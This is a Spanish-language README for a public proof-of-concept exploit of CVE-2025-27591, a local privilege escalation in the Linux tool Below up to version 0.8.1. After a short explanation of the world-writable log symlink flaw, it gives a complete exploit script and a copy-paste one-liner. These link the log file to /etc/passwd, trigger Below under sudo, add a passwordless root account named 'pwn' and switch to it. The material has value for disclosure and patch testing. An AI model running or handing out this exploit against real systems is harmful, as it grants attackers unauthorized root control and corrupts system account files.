Below - Escalada local de privilegios (CVE-2025-27591)

Below <= v0.8.1
Escalada local de privilegios mediante symlink de log escribible por todos
Exploit PoC

Introducción

Las versiones de Below <= 0.8.1 contienen una vulnerabilidad crítica de escalada local de privilegios (CVE-2025-27591).
Debido a un directorio de log mal configurado y escribible por todos (/var/log/below/) y a una lógica de permisos insegura en el código Rust, un atacante local puede crear un enlace simbólico de error_<user>.log a cualquier archivo propiedad de root, como /etc/passwd.

Cuando se ejecuta below snapshot con sudo, fuerza el modo 0666 en el archivo de log y escribe en él, incluso si se trata de un enlace simbólico.
Esto permite inyectar un usuario con privilegios root sin contraseña, lo que conduce a un acceso completo a una shell root.

Uso

git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh

O

Código del exploit

# Title  : Below v0.8.1 - Local Privilege Escalation (CVE-2025-27591) - PoC Exploit
# Author : Ravindu Wickramasinghe (aka rvz)
# Usage  : usage: ./exploit.sh


u=$(id -un)
rm -f /var/log/below/error_"$u".log
ln -s /etc/passwd /var/log/below/error_"$u".log # symlink log file to /etc/passwd
export LOGS_DIRECTORY=/var/log/below
sudo /usr/bin/below snapshot --begin now 2>/dev/null || true # below chmods 0666 the symlink target and writes to it
echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd # append pwn (root-priv) user entry  to /etc/passwd (now writable)
su pwn

Nota: Agregué exploit.sh al README.md después de que IppSec usara el one-liner en lugar del exploit.sh en su walkthrough. Pensé que sería más fácil para todos. Gracias IppSec. ^^

O

One-liner - (Copiar, pegar y ejecutar)

u=$(id -un); rm -f /var/log/below/error_"$u".log; ln -s /etc/passwd /var/log/below/error_"$u".log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn

Entorno

• Below <= v0.8.1
• Linux gestionado por systemd (Ubuntu, Arch, Fedora, etc.)
• Usuario en el grupo sudo con acceso NOPASSWD a /usr/bin/below *

Créditos

Descubierto y reportado por Matthias Gerstner @ SUSE - Aviso de seguridad
Exploit PoC - Ravindu Wickramasinhge, alias rvz